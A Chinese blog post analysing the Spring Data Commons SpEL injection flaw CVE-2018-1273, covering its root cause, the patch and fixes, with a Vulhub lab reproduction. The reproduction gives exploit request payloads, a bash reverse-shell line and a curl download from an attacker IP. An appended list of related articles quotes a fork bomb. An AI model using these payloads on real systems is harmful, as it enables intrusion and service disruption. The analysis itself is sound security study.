CVE-2018-1273 漏洞深度分析
漏洞概述
CVE-2018-1273 是 Spring Data Commons 中的一个高危远程代码执行(RCE)漏洞,影响版本为 Spring Data Commons 1.13–1.13.10 和 2.0–2.0.5。攻击者通过构造包含恶意 SpEL表达式的 HTTP 请求参数,触发表达式注入,最终在目标服务器上执行任意命令。漏洞的根源在于 Spring Data REST 对用户输入的参数名未进行安全过滤,直接作为 SpEL 表达式解析。
技术细节分析
1. 漏洞成因
-
SpEL 表达式注入
当应用程序使用基于接口的投影(Projection)绑定请求参数时,Spring Data Commons 的MapDataBinder
类会将用户输入的参数名直接转换为 SpEL 表达式。攻击者可通过在参数名中嵌入恶意表达式(如T(java.lang.Runtime).exec("calc")
),触发任意代码执行。 -
上下文权限控制缺失
代码中使用StandardEvaluationContext
作为 SpEL 执行上下文,该上下文允许完全访问 Java 类和方法(包括反射操作),未对危险操作进行限制。
2. 源码分析
关键代码:MapDataBinder
类的 setPropertyValue
方法
@Override
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {// 1. 初始化 SpEL 上下文,绑定根对象为当前 MapStandardEvaluationContext context = new StandardEvaluationContext();context.addPropertyAccessor(new PropertyTraversingMapAccessor(type, conversionService));context.setRootObject(map); // 2. 解析用户输入的参数名作为 SpEL 表达式Expression expression = PARSER.parseExpression(propertyName);// 3. 执行表达式并设置值(漏洞触发点)expression.setValue(context, value);
}
漏洞触发链:
- 参数名注入:攻击者提交形如
username[#this.getClass().forName("java.lang.Runtime").exec("calc")]
的请求参数。 - 表达式解析:
PARSER.parseExpression(propertyName)
将参数名解析为 SpEL 表达式。 - 代码执行:
expression.setValue(context, value)
执行表达式,触发Runtime.exec()
方法。
关键问题点:
- 输入信任问题:
propertyName
直接来自用户输入的参数名,未进行任何过滤。 - 上下文权限过高:
StandardEvaluationContext
允许执行任意 Java 方法(如反射调用java.lang.Runtime
)。 - 路径绑定机制:基于投影的绑定逻辑(
PropertyTraversingMapAccessor
)允许参数名包含复杂表达式。
3. 补丁分析
官方修复方案通过以下方式限制漏洞利用:
1. 替换执行上下文
将 StandardEvaluationContext
替换为 SimpleEvaluationContext
,后者仅支持基础数据绑定操作,禁止访问危险类和方法。
// 修复后代码示例
SimpleEvaluationContext context = SimpleEvaluationContext.forPropertyAccessors(new PropertyTraversingMapAccessor(type, conversionService)).build();
2. 路径合法性校验
在 setPropertyValue
方法中增加对 propertyName
的校验逻辑,禁止非法的属性名格式(如包含 #
、T()
等 SpEL 关键字)。
漏洞复现
环境搭建
1.使用 Vulhub 环境启动漏洞靶机:
docker-compose up -d
2.访问访问 http://target:8080/users
,确认服务正常运行。
攻击步骤
1.使用bp抓取/users
的包
2.上传恶意文件
- 构造
payload
,替换POST
内容并发送请求包
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/test")]=&password=&repeatedPassword=
- 验证:进入靶机容器发现出现
test
文件
3.反弹shell
- 创建
bash.sh
文件*
bash -i >& /dev/tcp/192.168.1.102/6666 0>&1
192.168.1.102替换为自己攻击机ip
- 在文件目录启动http服务
python -m http.server 6666
-
kali开启监听
-
替换
POST
内容并发包,请求bash.sh
文件
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /Exploit.class http://192.168.43.93:8888/Exploit.class")]=&password=&repeatedPassword=
192.168.43.93:8888替换为自己的http服务
- 再次替换
POST
内容并发包,执行bash.sh
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/bash.sh")]=&password=&repeatedPassword=
- 反弹shell成功
修复方案
1. 升级版本
- Spring Data Commons 1.13.x 用户升级至 1.13.11。
- Spring Data Commons 2.0.x 用户升级至 2.0.6。
2. 禁用危险特性
若非必要,关闭基于投影的参数绑定功能(通过配置 @ProjectedPayload
的 signature
属性)。
3. 输入过滤
自定义参数名校验逻辑,禁止包含 #
、T()
、new
等 SpEL 关键字:
public class SafeParamValidator {private static final Pattern SPEL_PATTERN = Pattern.compile("[T#()]");public static boolean isValidParam(String paramName) {return !SPEL_PATTERN.matcher(paramName).find();}
}
总结
CVE-2018-1273 的根源在于 Spring Data Commons 对用户输入的直接信任和 SpEL 表达式的滥用。其修复方案通过限制表达式执行上下文和强化路径校验,有效降低了攻击面。开发者应始终遵循最小化信任原则,结合框架升级与自定义安全策略,防范类似漏洞。
参考链接
- Spring 官方安全公告 (CVE-2018-1273)
- 漏洞技术分析(FreeBuf)
- 补丁代码 Commit 记录
- SpEL 注入漏洞原理详解(知乎)
- CVE-2018-1273 复现环境(Vulhub)
- vulhub中Spring之Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
相关文章:
CVE-2018-1273 漏洞深度分析
漏洞概述 CVE-2018-1273 是 Spring Data Commons 中的一个高危远程代码执行(RCE)漏洞,影响版本为 Spring Data Commons 1.13–1.13.10 和 2.0–2.0.5。攻击者通过构造包含恶意 SpEL表达式的 HTTP 请求参数,触发表达式注入&#x…...
C++23:修正常量迭代器、哨兵和范围
文章目录 引言C20范围库回顾C23之前常量迭代器的问题视图可能不传播const代理对象的复杂性泛型代码中的一致性 P2278R4提案及C23的改进std::views::as_const的工作原理代码示例 浅const视图(如std::span)的改进总结 引言 在C的发展历程中,每…...
【漫话机器学习系列】266.雅可比矩阵(Jacobian Matrix)
雅可比矩阵(Jacobian Matrix)详解 | 多变量函数微积分的基石 在深度学习、计算图、优化算法、机器人控制、流形学习等众多领域中,“雅可比矩阵(Jacobian Matrix)”是一个非常核心的数学工具。 这篇文章将结合一张视觉…...
Leetcode 3551. Minimum Swaps to Sort by Digit Sum
Leetcode 3551. Minimum Swaps to Sort by Digit Sum 1. 解题思路2. 代码实现 题目链接:3551. Minimum Swaps to Sort by Digit Sum 1. 解题思路 这一题思路上我实现的非常暴力,就是先求出正确的排列,然后从头考察每一个元素是否处在其目标…...
西门子1200/1500博图(TIA Portal)寻址方式详解
西门子博图(TIA Portal)是西门子公司推出的自动化工程软件平台,广泛应用于工业自动化领域。在编写PLC程序时,寻址方式是一个非常重要的概念,它决定了如何访问和操作PLC中的数据和资源。本文将详细介绍西门子博图中的寻…...
STK手动建链+matlab联调
在右边场景区选择你要建链的卫星,右键在弹出的选项中选择Access 选择你要建链的卫星,这里我选择3轨10星与4轨8星建链,点击compute后再close就行了 建链完成,这里链路的颜色跟起始卫星的颜色一致,要想改变颜色只需改变卫…...
MATLAB中的Switch语句讲解
MATLAB中的Switch语句:一个简单的控制流工具 在MATLAB中,switch语句是一种多分支控制结构,通常用于根据某个表达式的值选择不同的代码块进行执行。它的作用类似于一系列的if-elseif-else语句,但在处理多个条件时,swit…...
【SpringBoot】✈️整合飞书群机器人发送消息
💥💥✈️✈️欢迎阅读本文章❤️❤️💥💥 🏆本篇文章阅读大约耗时3分钟。 ⛳️motto:不积跬步、无以千里 📋📋📋本文目录如下:🎁🎁&am…...
上位机知识篇---流式Web服务器模式的实现
文章目录 前言 前言 本文简单介绍了流式Web服务器模式的实现。...
Go 语言中的一等公民(First-Class Citizens)
在 Go 语言中,一等公民(First-Class Citizens) 是指语言中可以像普通值一样被自由操作的元素,包括赋值、传递、返回等。Go 虽然不是纯粹的函数式语言,但支持多种一等公民,以下是 Go 中常见的 一等公民及其特…...
python3.13版本降为3.12
目录 一、下载Python 二、安装PyCharm 三、 彩蛋 粗糙理解: PyThon是编译器(也可以在命令行编辑,但是麻烦) PyCharm是编辑器 一、下载Python https://repo.huaweicloud.com/python/3.12.9/python-3.12.9-amd64.exe 点击Insta…...
Ubuntu搭建TFTP服务器的方法
0 工具 Ubuntu 18.041 Ubuntu搭建TFTP服务器的方法 在Ubuntu下搭建TFTP服务器可以让我们下载文件到开发板更加方便,同时也可以实现TFTP加载Linux镜像,方便调试。 1.1 安装tftp-hpa(TFTP客户端)、tftpd-hpa(TFTP服务…...
【AI】Ubuntu 22.04 4060Ti16G 基于SWIFT框架的LoRA微调 模型Qwen3-1.8B 数据集弱智吧 微调笔记
下载Qwen3-1.8B 先更新安装modescope,然后下载模型 pip install -U modelscope modelscope download --model Qwen/Qwen3-1.7B 下载日志 部署模型 参考:【AI】Ubuntu 22.04 4060Ti 16G vllm-api部署Qwen3-8B-FP8_wsl ubantu rtx4060 vllm镜像-CSDN博…...
系分论文《论信息系统缓存的分析和应用》
【摘要】 2023年3月,我作为系统分析师参与了某大型电商平台"云端购物中心"的性能优化项目。该项目日均订单量突破200万,但在促销高峰期频繁出现系统响应迟缓、数据库过载等问题。本项目以构建多级缓存体系为核心,通过系统化分析缓存应用场景和技术选型,重构了平…...
3.4/Q2,Charls最新文章解读
文章题目:Associations between reversible and potentially reversible cognitive frailty and falls in community-dwelling older adults in China: a longitudinal study DOI:10.1186/s12877-025-05872-2 中文标题:中国社区老年人可逆性和…...
Bash fork 炸弹 —— :(){ :|: };:
🧠 什么是 Fork 炸弹? Fork 炸弹是一种拒绝服务(DoS)攻击技术,利用操作系统的 fork() 系统调用不断创建新进程,直到系统资源(如进程表、CPU、内存)被耗尽,从而使系统无法…...
HarmonyOS AVPlayer 音频播放器
鸿蒙文档中心:使用AVPlayer播放视频(ArkTS)文档中心https://developer.huawei.com/consumer/cn/doc/harmonyos-guides/video-playback 这张图描述的是 HarmonyOS AVPlayer 音频播放器的状态流转过程,展示了 AVPlayer 在不同状态之间的切换条件和关键操作…...
symfonos: 2靶场
symfonos: 2 来自 <https://www.vulnhub.com/entry/symfonos-2,331/> 1,将两台虚拟机网络连接都改为NAT模式 2,攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 那么攻击机IP为192.168.23.182,靶场IP192.168.23.253 3&…...
微服务项目->在线oj系统(Java版 - 2)
相信自己,终会成功 微服务代码: lyyy-oj: 微服务 接口文档定义 响应数据定义: 响应数据格式:通常,HTTP API 的响应数据采用 JSON 格式 例如:成功响应(带数据) {"code": 200,"message": "查询成功","…...
整理了 2009 - 2025 年的【199 管综真题 + 解析】PDF,全套共 34 份文件
每年真题原卷 ✅ 每年详细解析 ✅ 📂【管综真题 2009-2025】 📂【管综解析 2009-2025】 目录树: ├── 2009-2025管综真题 PDF │ ├── 2009年199管综真题.pdf │ ├── 2010年199管综真题.pdf │ ├── 2011年199管综真题.pd…...
HarmonyOS 与 OpenHarmony:同根而不同途
HarmonyOS 与 OpenHarmony:同根而不同途 引言 在操作系统领域,HarmonyOS 和 OpenHarmony 这两个名字频繁出现,它们之间既存在着千丝万缕的联系,又有诸多显著的区别。对于开发者和相关从业者而言,深入了解两者的差异点…...
并发编程(4)
final修饰 1. 用final修饰类 当一个类被final修饰时,意味着它不能被其他类继承,也就是该类无法派生出子类。像 Java 中的String类就是典型的final类。 public final class FinalClass {// 类的内容 }// 下面的代码会报错,因为FinalClass不…...
合并K个升序链表
目录 合并 K 个升序链表 解题思路 ListNode 数组方式给出 k 个链表 ArrayList 方式给出 k 个链表 ArrayList常见操作 合并 K 个升序链表 题目描述 给你一个链表数组,每个链表都已经按升序排列。 请你将所有链表合并到一个升序链表中,返回合并后…...
UART、SPI、IIC复习总结
一、UART 1、UART和USART的异同? 相同点 基本功能:都是用于串行通信的数据收发设备,能够实现数据在不同设备之间的传输。在异步通信模式下,二者的工作方式相似,都使用起始位、数据位、校验位(可选&#…...
【AWS入门】Amazon Bedrock简介
【AWS入门】Amazon Bedrock简介 [AWS Essentials] Brief Introduction Amazon Bedrock By JacksonML 1. 引言 Amazon Bedrock,在AWS官网,映入眼帘的第一句话就是,“使用基础模型构建和扩展生成式人工智能应用程序的最简单方法”。如下图所…...
报告精读:华为2024年知行合一通信行业数据治理实践指南报告【附全文阅读】
《华为 2024 年知行合一通信行业数据治理实践指南报告》聚焦通信行业数据治理,指出在数字化转型背景下,通信行业面临数据量庞大、类型多样、时效要求高、价值密度低、安全要求高等特点与数据质量、汇聚、开放等难点。报告提出通信行业数据治理需构建包含…...
Eigen与OpenCV矩阵操作全面对比:最大值、最小值、平均值
功能对比总表 功能Eigen 方法OpenCV 方法主要区别最大值mat.maxCoeff(&row, &col)cv::minMaxLoc(mat, NULL, &maxVal, NULL, &maxLoc)Eigen需要分开调用,OpenCV一次获取最小值mat.minCoeff(&row, &col)cv::minMaxLoc(mat, &minVal, NU…...
机器学习(12)——LGBM(1)
文章目录 LightGBM算法详解1. 算法背景2. 核心创新2.1 基于直方图的决策树算法2.2 单边梯度采样(GOSS)2.3 互斥特征捆绑(EFB) 3. 算法细节3.1 树生长策略3.2 特征并行与数据并行3.3 类别特征处理 4. 关键参数说明4.1 核心参数4.2 控制速度参数4.3 控制过拟合参数 5. 与XGBoost对…...
深入理解TCP与UDP:协议对比、头部结构与连接管理
一、TCP与UDP的核心区别 特性TCPUDP连接特性面向连接(三次握手建立连接)无连接,直接传输数据可靠性通过确认重传、排序、流控保证可靠尽力交付,不保证数据到达流量控制支持滑动窗口机制调节发送速率不支持数据分段支持大数据分段…...
Flask快速入门和问答项目源码
Flask基础入门 源码: gitee:我爱白米饭/Flask问答项目 - 码云 目录 1.安装环境2.【debug、host、port】3.【路由params和query】4.【模板】5.【静态文件】6.【数据库连接】6.1.安装模块6.2.创建数据库并测试连接6.3.创建数据表6.4.ORM增删改查 6.5.ORM模…...
python创建flask项目
好的,我会为你提供一个使用 Flask、pg8000 和 Pandas 构建的后台基本框架,用于手机理财产品 App 的报表分析接口。这个框架将包含异常处理、模块化的结构以支持多人协作,以及交易分析和收益分析的示例接口。 项目结构: financial_report_ap…...
Flink 的窗口机制
🪟 1. 基于时间驱动的滚动时间窗口(Tumbling Time Window - Time-based) ✅ 定义: 每隔固定的时间周期开启一个新的窗口。窗口之间不重叠。 🕒 示例: DataStream<Tuple2<String, Integer>>…...
STM32 OTA 中断向量表重定向
在STM32的OTA(Over-the-Air)升级中,中断向量表重定向是关键技术需求,其核心原因在于STM32的硬件架构和固件运行机制。以下从原理、实现方式及必要性三个角度详细分析: 一、中断向量表的作用与默认机制 中断向量表的…...
先说爱的人为什么先离开
2025年5月19日,15~23℃,贼好的一天,无事发生 待办: 2024年税务申报 《高等数学2》取消考试资格学生名单 《物理[2]》取消考试资格名单 5月24日、25日监考报名 《高等数学2》备课 《物理[2]》备课 职称申报材料 教学技能大赛PPT 遇…...
OnlyOffice秘籍系列.6-表格保护功能详解-灵活设置单元格的权限
最近很多用户在咨询是否可以提供一个灵活控制表格权限的在线协同编辑表格,这里和大家分享如果用OnlyOffice在线表格实现。 OnlyOffice 是一款功能强大的在线协作办公套件,其表格工具(Spreadsheet Editor)提供了完善的数据保护机制,…...
LLM笔记(八)Transformer学习
文章目录 1. Transformer 整体架构2. 核心组件详解2.1. 输入部分 (Input Embedding & Positional Encoding)2.2. 注意力机制 (Attention Mechanism)2.2.1. Padding Mask (填充掩码)2.2.2. Sequence Mask (Look-ahead Mask / Subsequent Mask / Causal Mask) 2.3. Multi-Hea…...
Vue 3 中使用 md-editor-v3 的完整实例markdown文本
下面我将提供一个完整的 Vue 3 项目中使用 md-editor-v3 的 Markdown 编辑器实现,包含常用功能和最佳实践。 1. 基础实现 安装依赖 npm install md-editor-v3也可以是pnpm安装 pnpm install md-editor-v3基础编辑器组件 (BasicEditor.vue) <template> &l…...
OpenCV-图像分割
实验1 实验内容 上述代码通过使用OpenCV和Matplotlib库来执行以下操作: 读取名为’kt.jpg’的图像文件,并存储在变量img中。将图像img转换为灰度图像,将其存储在变量gray中。使用cv2.threshold函数对灰度图gray进行阈值化处理,…...
Vue-计算属性
计算属性 案例 输入姓、名, 全名称姓名 实现 插值语法 代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><title>计算属性与监视</title><!-- 引入Vue --><script type&…...
16. 通用配置文件开发.py
16. 通用配置文件开发.py 一、配置文件架构设计 1.1 模块化结构规划 #mermaid-svg-Iuex47psGWeZj6XQ {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-Iuex47psGWeZj6XQ .error-icon{fill:#552222;}#mermaid-svg-Iu…...
Python训练营打卡 Day29
复习日:类的装饰器 知识点回顾 类的装饰器:餐厅升级计划 假设你是一家餐厅的老板,餐厅已经运营了一段时间,但你希望提升服务质量,比如在每道菜上增加一些特别的服务(比如日志记录、额外的装饰等)…...
解决 Tailwind CSS 代码冗余问题
解决 Tailwind CSS 代码冗余问题 Tailwind CSS 确实可能导致 HTML 类名过长和冗余的问题,以下是几种有效的解决方案: 1. 使用 apply 指令提取重复样式 /* 在CSS文件中 */ .btn {apply px-4 py-2 rounded-md font-medium; }.card {apply p-6 bg-white …...
【藏经阁】加密机服务完整解决方案,包含客户端+服务端
前言 你是否存在这样的苦恼,数据需要安全存储,但是每个系统大家自己写,很浪费时间。 encryption-local 一个离线版本的金融敏感信息加解密工具,用于数据库敏感信息存储。 离线版本的加解密好处是非常的方便。不过缺点也比较明显…...
互联网大厂Java求职面试:AI与大模型应用集成及云原生挑战
互联网大厂Java求职面试:AI与大模型应用集成及云原生挑战 面试场景设定 郑薪苦是一位具有搞笑风格但技术潜力巨大的程序员,正在接受一位严肃专业的技术总监面试。 第一轮提问 面试官:在我们公司的短视频平台中,需要处理千万级…...
ffmpeg -vf subtitles添加字幕绝对路径问题的解决方法
今天遇到奇怪的问题,老是报 Unable to parse option value Error applying option original_size to filter subtitles: Invalid argument 踩坑很长时间,记录下 因subtitles需要指定绝对路径, 注意点: 外面要用单引号 不能…...
JetBrains IDEA,Android Studio,WebStorm 等IDE 字体出现异常时解决方法
JetBrains IDEA,Android Studio,WebStorm 等IDE 中文字体出现异常,很怪的时候,通常需要设置字体回退才能解决。 需要在 Font 中将字体连写打开,并且设置字体回退为 Microsoft YaHei Ul 只有这样 IDEA 在没有中文字体的样式下,会将…...
鸿蒙AI开发:10-多模态大模型与原子化服务的集成
鸿蒙AI开发:10-多模态大模型与原子化服务的集成 在鸿蒙生态中,多模态大模型与原子化服务的集成是一个重要课题。本文将介绍如何在鸿蒙平台上进行多模态大模型与原子化服务的集成,以及相关的技术细节和实际案例。 鸿蒙AI开发概述 什么是鸿蒙AI…...
信奥赛CSP动态规划入门-最大子段和
针对**“最大子段和”**问题的详细分步解析与程序实现,通过动态规划将大问题分解为小问题: 一、问题拆解步骤 1. 明确问题定义 大问题:在数组[-2,1,-3,4,-1,2,1]中,找到连续子数组的和的最大值。 小问题:以每个位置i结尾的子数组能得到的最大和。 2. 状态定义 定义数组…...
Python爬虫实战:通过PyExecJS库实现逆向解密
1. 核心定义 1.1 PyExecJS 库 PyExecJS 是 Python 的第三方库,通过调用 JavaScript 运行时环境(如 Node.js、PhantomJS),实现 Python 与 JavaScript 的无缝交互。其核心功能包括: JavaScript 代码编译与执行跨语言函数调用与数据传递多引擎支持与自动环境检测1.2 字段加…...
网络安全深度解析:21种常见网站漏洞及防御指南
一、高危漏洞TOP 10 1. SQL注入(SQLi) 原理:通过构造恶意SQL语句突破系统过滤机制 典型场景: - 联合查询注入: union select 1,version(),3--+ - 布尔盲注:and (select substr(user(),1,1)=r) - 时间盲注:;if(now()=sysdate(),sleep(5),0)/ 防御方案: - 严格参数化查…...